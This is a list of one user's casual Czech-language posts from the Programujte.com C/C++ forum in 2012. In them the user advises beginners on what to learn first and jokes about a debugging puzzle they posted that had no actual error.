a doporucuju nejakou literaturu treba "jazyk C" nebo "zaciname s C++" snad jsou ty nazvy spravne nemuzu si pamatovat vsechno :)

C / C++ › Začátečník
12. 8. 2012   #161430

#4 Yohaku
ok nauc se cykly,promenny,datovy typy,podminky jak normalni tak switch funkci printf scanf getchar, mygetch alokaci,realokaci a jeste pointery az tohle budes perfektne umet urcite si zvladnes napsat aspon nejakeho hada to je zaklad si myslim:) a pak uz muzes pokracovat :) ale urcite se NEHRN hned do 3d prvni musis umet zaklady

C / C++ › Začátečník
12. 8. 2012   #161428

#1 Yohaku
Neuč se programovat na hrách to určitě ne už jsem to tu jednou říkal pokud si chceš udělat nějakou hru zkus si game maker jinač v C++ potřebuješ hodně matematiky a tak mozna to "Yaqwsx" už psal ale je to dlouhý a ja jsem ospalej tak se mi to nechce číst :)

C / C++ › Obrovitý problém!
11. 8. 2012   #161413

#46 vitamin
jj ty jsi na to sel logicky "program mi nejde zkompilovat" tobe sel .. a chyby nejsou ve funkcich ani v poctech ...:D z toho vypliva ze je to dobre :P myslel jsem ze ti to hned dojde:P 

C / C++ › Obrovitý problém!
11. 8. 2012   #161411

#44 crazy
:D to bylo pro procviceni at se nenudite :P na logiku neber ohled na tomhle foru se nic nedeje uz par dni :D bud rad za muj kod :*

C / C++ › Obrovitý problém!
11. 8. 2012   #161409

#41 Atheo
tak gratuluju :D aspon ste si prosvihali Ccko :P:D priste vymyslim neco originalnejsiho a vyrovnam double :D

C / C++ › Obrovitý problém!
11. 8. 2012   #161407

#39 martin
správná odpověď byla "žádná chyba tam není" :D ale jelikož jsem neveděl že tu budou lidi který mi přijdou že nevyrovnávám double :DDD tak správnou odpověď má crazy :D

C / C++ › Obrovitý problém!
11. 8. 2012   #161402

#35 crazy
:D tvl priste si dam vic zalezet az neco budu psat :D vy hledate chyby i tam kde sem rekl ze "v tom to neni jen se mi stim nechtelo tak srat":D   ale jo crazy mas pravdu tam je chyba :D

C / C++ › Obrovitý problém!
11. 8. 2012   #161398

#29 vitamin
a ty uz jsi hodne blizko ;) po tomhle komentu uz na to prijdes asi:P

C / C++ › Obrovitý problém!
11. 8. 2012   #161397

#27 crazy
double je spravne pokud vim bere to lf vystup je f no problem v tom to taky neni ale crazy na to prijde zas minutku si myslim xD

C / C++ › Obrovitý problém!
11. 8. 2012   #161392

#25 crazy
to mas pravdu to jsem nesetril ale jak uz jsem rikal chyba neni v poctech

C / C++ › Obrovitý problém!
11. 8. 2012   #161390

#23 martin
:))) je to me bavi kdyz si nekdo hraje s moji hrackou  :)):D

 

 

Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032018 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý